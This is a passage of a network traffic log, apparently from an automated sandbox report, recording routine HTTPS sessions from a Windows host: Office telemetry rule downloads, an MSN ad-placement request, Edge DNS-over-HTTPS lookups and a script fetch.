Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:38 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:38 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015538Z-174c587ffdfks6tlhC1TEBeza4000000028000000000ncck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:38 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:38 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2b57feed-101e-0028-5221-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015538Z-178bfbc474brk967hC1NYCfu6000000003h000000000kfh7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49853	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:38 UTC	2591	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015533Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=9e4fcc7785aa4f9dbd5fcb3ce4a42187&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597337&metered=false&nettype=ethernet&npid=sc-88000045&oemName=xxwgim%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=xxwgim20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAbmC052WmI0pNI/bdLeJUMwBCdJIhxxfMAmyJ9sh6VNZm94H0/15YJtSzwUqn20Upwd5FV8IuFfZgFMTtlZcDnNXrPIkFG4bXSmzp7wOVW/v0Nqk7q0qk//knZS0NQyXU0Svf3dpIlhuWXWExLvqHC//Sb+ZFJN8kPI3z8gcvXYjP7oxzqqKiAqzvyG7WpzN+ddmm5a8+u7u1zdJIam9etrgjAZppwbtzAlbCJv9YsNSKY/JkWHmRCpsFeRWU0K65586em66NHnz1WbhBJNlD2LRVxMMjKVtNlwcB+KzqNrL7LFIs1wTwUA0p4cy9fJtoe50tZbNNCdRU1cQMQY5zcgQZgAAEGp9Qlz/wWITHsNKn67BbRCwAf9W6l0KBptXKjwan4bt6Jq75Sd7xvr10UCnos27/nfrcMQrsXeVoDPqY+P7nUtMQuddYXImTFaWEs8q2g7Eb9O7QCTXuZDw50Xwv0uC02M8ppYWlxltMnDUHhFfaHWFfMFQKHovAOflgwrI8VY+cUzSdX4i946K+4lAVzlFmBXk22VYrhE4v74P4H4AyBRjJK35WuLSYr3bp0kD+0lqAZNoQkLM3dM1B7S//ABSdK8myhlt+7RWe4ZOVYG3LHPjJl4sOCW/nXKav3Y0r/amWXm34ukwOt9v3aflP/PFv8Qm1B4wV4p5v9D1UsWB0OYg5fNkC8yTky60BaJua0HqcvJj1zaReEz7+nSa+HGHvkFefmema0VPyd4fXkRSLhYyvPU1Tp3UoRdPp7n+sq9X8P7afomrmQWLGvbcM+syWhO8A5x3lkFVm4nARxBW8rIsNDXRwCj2rqR4O8OchB6JWVeEY4TniJAQ108Lkdr+3Ed+9/Gje/6p3FNe7wIZkEOEVSjH+h30J3vesTpdnM98dEKAl73KD2MssiJgb6wgiM/v4G/QwTBmJPccsCxkJkvPQdcB&p= Cache-Control: no-cache MS-CV: cjz37Dm/VUu5yVEQ.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 01:55:38 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2945 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116216-T1-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: CJumw0QqQBFrAmCamTKdXVQrmPNvwiuX/VvdlMMjTw7lMjMtCrkLa262dtH1wolXwHWBrBlxHU4sbcOL3y7UEVw9l2DmBg6Pey6Y/p8/ktm1IuWaE3grD6QrWaLy9/EIynSbRmmVtvF7MIXwSSFc/lS+zY2Wn9ExkGW24xYwyWi140UqHxyeUMgXRDqkV6aBhn0M1iaZvh75Kx8kzWN1vsRyG3ZboaJIAnbOsOZmVkozq2YWwYwIoCpDi5O1KLtAszEPkJZMIZACPsjj1N9Kd+mY/nzduB0cP85dUNFmpbNYNwywMkBZIzkJk8K9qBBxEZNUtUh65TyPXVcpR+CcAQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 01:55:38 GMT Connection: close
2024-11-23 01:55:38 UTC	2945	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49868	172.64.41.3	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:38 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 01:55:38 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 01:55:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 01:55:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6d89c96a3672c2-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 01:55:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 08 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49870	162.159.61.3	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:38 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 01:55:38 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 01:55:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 01:55:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6d89c9b9ee0f73-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 01:55:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e3 00 04 8e fb 28 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:39 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:39 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: ce4e00c6-401e-00a3-3516-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015539Z-178bfbc474b9xljthC1NYCtw9400000003p000000000gkuf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 01:55:39 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:39 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 90758f84-b01e-0021-4c46-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015539Z-178bfbc474bpscmfhC1NYCfc2c00000002e0000000006wqn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:40 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:40 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 907655e5-001e-0065-594b-3c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015540Z-15b8b599d882l6clhC1TEBxd5c000000023000000000gdyk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:40 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:40 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a7625850-801e-007b-654c-3ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015540Z-15b8b599d882zv28hC1TEBdchn000000027g000000004gv5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49882	23.209.72.43	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:40 UTC	628	OUT	GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1 Host: assets2.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:41 UTC	1240	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: 2o3TH2IeNXyf9OP87xu6FA== Last-Modified: Fri, 15 Nov 2024 22:31:11 GMT ETag: 0x8DD05C53565F83D Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 64e866d1-101e-0037-3246-3988b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sat, 23 Nov 2024 01:55:41 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.140,b=1118894701,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=16, origin; dur=0, cdntime; dur=16, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.140 Akamai-Request-ID: 42b0fa6d Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: 